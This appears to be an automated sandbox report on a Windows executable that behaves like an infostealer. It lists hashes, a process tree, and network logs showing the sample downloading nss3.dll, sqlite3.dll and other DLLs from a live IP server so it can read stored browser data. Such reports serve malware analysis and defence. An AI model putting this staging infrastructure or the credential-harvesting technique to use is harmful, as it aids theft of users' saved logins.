Analysis

  • max time kernel
    91s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2023 06:34

General

  • Target

    05780099.exe

  • Size

    93KB

  • MD5

    91ff158a97a75d49914efb44b11ab82a

  • SHA1

    1e5b91b3a69eeb4d7c9286654bcaa36def7bb9df

  • SHA256

    4a2f1b219e41a49cca2f934b06adff82a4d2c639d1c620d14952f5763801449b

  • SHA512

    a3a9c811685ddf6125517a588197d4496d007cd89b5d34de3ee01694d052d8537d0d014f45ee75a8d97db0890bad6ffa34f88b682ae9e2ef9ea6c2eff0fa50a7

  • SSDEEP

    1536:gWTHVn5wa8TXvqHp6kzWgDaO3C54Gf3lagvHkMTafiyVDr1lVUl3jy0:gWTHVn8TXvc4O3CFvlaSED1Pgj/

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Program crash 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\05780099.exe
    "C:\Users\Admin\AppData\Local\Temp\05780099.exe"
    1⤵
    • Loads dropped DLL
    PID:1688
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1688 -s 1340
      2⤵
      • Program crash
      PID:3696
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 1688 -ip 1688
    1⤵
      PID:2116

    Network

    • flag-us
      DNS
      209.205.72.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      209.205.72.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      254.135.241.8.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      254.135.241.8.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      32.146.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      32.146.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      123.108.74.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      123.108.74.40.in-addr.arpa
      IN PTR
      Response
    • flag-de
      GET
      http://45.11.229.188/public/sqlite3.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/sqlite3.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:21 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:23 GMT
      ETag: "9d9d8-5c95f9639cdc0"
      Accept-Ranges: bytes
      Content-Length: 645592
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/freebl3.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/freebl3.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:22 GMT
      ETag: "519d0-5c95f962a8b80"
      Accept-Ranges: bytes
      Content-Length: 334288
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/mozglue.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/mozglue.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:25 GMT
      ETag: "217d0-5c95f96585240"
      Accept-Ranges: bytes
      Content-Length: 137168
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/msvcp140.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/msvcp140.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
      ETag: "6b738-5c95f96491000"
      Accept-Ranges: bytes
      Content-Length: 440120
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/nss3.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/nss3.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:22 GMT
      ETag: "1303d0-5c95f962a8b80"
      Accept-Ranges: bytes
      Content-Length: 1246160
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/softokn3.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/softokn3.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
      ETag: "235d0-5c95f96491000"
      Accept-Ranges: bytes
      Content-Length: 144848
      Content-Type: application/x-msdos-program
    • flag-de
      GET
      http://45.11.229.188/public/vcruntime140.dll
      05780099.exe
      Remote address:
      45.11.229.188:80
      Request
      GET /public/vcruntime140.dll HTTP/1.1
      Host: 45.11.229.188
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Wed, 31 May 2023 06:34:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
      ETag: "14748-5c95f96491000"
      Accept-Ranges: bytes
      Content-Length: 83784
      Content-Type: application/x-msdos-program
    • flag-us
      DNS
      188.229.11.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      188.229.11.45.in-addr.arpa
      IN PTR
      Response
      188.229.11.45.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      58.55.71.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      58.55.71.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      86.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      86.23.85.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      86.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      86.23.85.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      15.164.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      15.164.165.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      44.8.109.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      44.8.109.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      2.36.159.162.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      2.36.159.162.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      26.165.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.165.165.52.in-addr.arpa
      IN PTR
      Response
    • 45.11.229.188:80
      http://45.11.229.188/public/vcruntime140.dll
      http
      05780099.exe
      105.1kB
      3.1MB
      2274
      2240

      HTTP Request

      GET http://45.11.229.188/public/sqlite3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/freebl3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/mozglue.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/msvcp140.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/nss3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/softokn3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.11.229.188/public/vcruntime140.dll

      HTTP Response

      200
    • 173.223.113.164:443
      322 B
      7
    • 173.223.113.131:80
      322 B
      7
    • 40.125.122.151:443
      260 B
      5
    • 20.189.173.15:443
      322 B
      7
    • 173.223.113.131:80
      322 B
      7
    • 8.8.8.8:53
      209.205.72.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      209.205.72.20.in-addr.arpa

    • 8.8.8.8:53
      254.135.241.8.in-addr.arpa
      dns
      72 B
      126 B
      1
      1

      DNS Request

      254.135.241.8.in-addr.arpa

    • 8.8.8.8:53
      32.146.190.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      32.146.190.20.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
      144 B
      1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      123.108.74.40.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      123.108.74.40.in-addr.arpa

    • 8.8.8.8:53
      188.229.11.45.in-addr.arpa
      dns
      72 B
      86 B
      1
      1

      DNS Request

      188.229.11.45.in-addr.arpa

    • 8.8.8.8:53
      58.55.71.13.in-addr.arpa
      dns
      70 B
      144 B
      1
      1

      DNS Request

      58.55.71.13.in-addr.arpa

    • 8.8.8.8:53
      86.23.85.13.in-addr.arpa
      dns
      140 B
      288 B
      2
      2

      DNS Request

      86.23.85.13.in-addr.arpa

      DNS Request

      86.23.85.13.in-addr.arpa

    • 8.8.8.8:53
      15.164.165.52.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      15.164.165.52.in-addr.arpa

    • 8.8.8.8:53
      44.8.109.52.in-addr.arpa
      dns
      70 B
      144 B
      1
      1

      DNS Request

      44.8.109.52.in-addr.arpa

    • 8.8.8.8:53
      2.36.159.162.in-addr.arpa
      dns
      71 B
      133 B
      1
      1

      DNS Request

      2.36.159.162.in-addr.arpa

    • 8.8.8.8:53
      26.165.165.52.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      26.165.165.52.in-addr.arpa

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\mozglue.dll

      Filesize

      133KB

      MD5

      8f73c08a9660691143661bf7332c3c27

      SHA1

      37fa65dd737c50fda710fdbde89e51374d0c204a

      SHA256

      3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

      SHA512

      0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

    • C:\ProgramData\nss3.dll

      Filesize

      1.2MB

      MD5

      bfac4e3c5908856ba17d41edcd455a51

      SHA1

      8eec7e888767aa9e4cca8ff246eb2aacb9170428

      SHA256

      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

      SHA512

      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

    • C:\ProgramData\sqlite3.dll

      Filesize

      630KB

      MD5

      e477a96c8f2b18d6b5c27bde49c990bf

      SHA1

      e980c9bf41330d1e5bd04556db4646a0210f7409

      SHA256

      16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

      SHA512

      335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

    • memory/1688-188-0x0000000060900000-0x0000000060992000-memory.dmp

      Filesize

      584KB

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.